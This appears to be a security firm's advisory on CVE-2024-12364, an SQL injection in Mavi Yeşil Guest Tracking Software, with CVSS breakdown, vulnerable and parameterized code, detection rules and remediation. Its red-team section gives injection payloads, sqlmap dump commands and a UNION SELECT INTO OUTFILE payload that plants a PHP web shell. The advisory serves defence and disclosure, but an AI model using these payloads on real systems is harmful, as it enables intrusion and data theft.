CVE-2024-12364

Executive Summary

CVE-2024-12364 is a critical SQL Injection vulnerability in Mavi Yeşil Software's Guest Tracking Software. The vulnerability allows an unauthenticated attacker to execute arbitrary SQL commands on the backend database, potentially leading to complete data compromise, authentication bypass, and remote code execution. With a CVSS score of 9.8, this vulnerability is considered critical. No patch has been released by the vendor, and no public proof-of-concept (PoC) code is currently available. The software is used for tracking guests in hospitality and security environments, making it a high-value target for threat actors.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary, closed-source software product. The supply chain risk is limited to the direct deployment of the Guest Tracking Software by end-user organizations.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Complete disclosure of all database contents.
• Integrity (I): High (H) - Full modification of database contents.
• Availability (A): High (H) - Potential for denial of service or complete system compromise.

Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using this software.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection (CWE-89) in the "Guest Tracking Software" by Mavi Yeşil Software. The software likely uses user-supplied input (e.g., from search fields, login forms, or API parameters) directly in SQL queries without proper sanitization or parameterization.

Attack Vector: An attacker can inject malicious SQL code into an input field. For example, if the software has a search feature that queries the database with a statement like:

SELECT * FROM guests WHERE name = 'USER_INPUT';

An attacker could input:

' OR '1'='1

This would modify the query to:

SELECT * FROM guests WHERE name = '' OR '1'='1';

This would return all records in the table, bypassing authentication or leaking data.

Impact:

• Data Exfiltration: Attackers can extract all data from the database, including guest names, contact details, ID numbers, and potentially credentials.
• Authentication Bypass: By manipulating the SQL query, an attacker can log in as any user without knowing the password.
• Remote Code Execution (RCE): In some database configurations (e.g., MySQL with INTO OUTFILE), an attacker can write a web shell to the server, leading to full system compromise.
• Denial of Service (DoS): Attackers can execute resource-intensive queries or drop tables.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is:

Vulnerable Code (Conceptual):

# Python example
user_input = request.GET['search']
query = "SELECT * FROM guests WHERE name = '" + user_input + "'"
cursor.execute(query)

Patched Code (Conceptual):

# Python example using parameterized queries
user_input = request.GET['search']
query = "SELECT * FROM guests WHERE name = %s"
cursor.execute(query, (user_input,))

The patched version uses parameterized queries (prepared statements) which ensure that user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of Mavi Yeşil Guest Tracking Software.
• A web browser or tool like curl, sqlmap, or Burp Suite.

Step 1: Identify Input Vectors

• Navigate to the login page, search functionality, or any form that submits data.
• Common endpoints: /login, /search, /guest, /api/guest.

Step 2: Manual SQL Injection Test

• Inject a single quote (') into an input field. If an error is returned (e.g., "You have an error in your SQL syntax"), the application is likely vulnerable.
• Use a boolean-based test: ' OR '1'='1 to see if the response changes.

Step 3: Automated Exploitation with sqlmap

sqlmap -u "http://target.com/search?q=test" --batch --dbs

• This will enumerate databases.
• To dump all tables: sqlmap -u "http://target.com/search?q=test" --batch --dump-all

Step 4: Advanced Exploitation (if applicable)

• Attempt to write a web shell:

' UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE "/var/www/html/shell.php" -- -

• Access the shell: http://target.com/shell.php?cmd=id

Blue Team (Defensive)

Detection:

• Monitor web server logs for SQL injection patterns: ' OR, UNION SELECT, --, /*.
• Look for abnormal database errors in application logs.
• Use a Web Application Firewall (WAF) to block malicious SQL keywords.

Mitigation (Immediate):

• If possible, take the application offline until a patch is available.
• Implement input validation and sanitization.
• Use a WAF with SQL injection rules (e.g., ModSecurity with OWASP CRS).

Hunting:

• Search for any unauthorized database queries or data exports.
• Check for new files in web-accessible directories (potential web shells).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing SQL keywords: ' OR, UNION, SELECT, INTO OUTFILE, --.
  • Requests to /shell.php, /cmd.php, or other suspicious PHP files.
  • Outbound database connections from the web server to unusual IPs.
• File IOCs:
  • Unexpected .php, .asp, or .jsp files in web directories.
  • Modified or new files in /tmp, /var/www/html, or application directories.
• Log IOCs:
  • Database error messages in application logs (e.g., "You have an error in your SQL syntax").
  • Successful login attempts from unknown IPs.
  • Large data exports from the database.

Detection Engineering

YARA Rule

rule CVE_2024_12364_SQLi_Webshell {
    meta:
        description = "Detects web shells or SQL injection artifacts related to CVE-2024-12364"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-12364"
    strings:
        $s1 = "<?php system(" ascii wide nocase
        $s2 = "INTO OUTFILE" ascii wide nocase
        $s3 = "UNION SELECT" ascii wide nocase
        $s4 = "guesttrack" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) or $s4
}

Sigma Rule

title: SQL Injection Attempt Against Guest Tracking Software
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting Mavi Yeşil Guest Tracking Software
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "' OR"
            - "UNION SELECT"
            - "1=1"
            - "INTO OUTFILE"
            - "sleep("
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12364 SQL Injection Attempt"; flow:to_server,established; content:"' OR"; http_uri; nocase; content:"UNION SELECT"; http_uri; nocase; distance:0; content:"INTO OUTFILE"; http_uri; nocase; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the System: If possible, disconnect the Guest Tracking Software from the network until a patch is available.
2. Web Application Firewall (WAF): Deploy a WAF with strict SQL injection rules (e.g., ModSecurity with OWASP CRS).
3. Input Validation: Implement server-side input validation to reject special characters.
4. Database Hardening: Ensure the database user has minimal privileges (e.g., no FILE privilege to prevent INTO OUTFILE attacks).

Long-Term Actions:

1. Vendor Patch: Monitor the vendor's website for a security update. Apply it immediately when released.
2. Code Review: If you have access to the source code, review all SQL queries and replace them with parameterized statements.
3. Regular Scanning: Use vulnerability scanners to detect SQL injection flaws.
4. Incident Response: Prepare an incident response plan for data breaches.

Workaround (if patching is not possible):

• Use a reverse proxy to filter malicious requests.
• Implement a custom input sanitization function that escapes SQL special characters.

Valters IT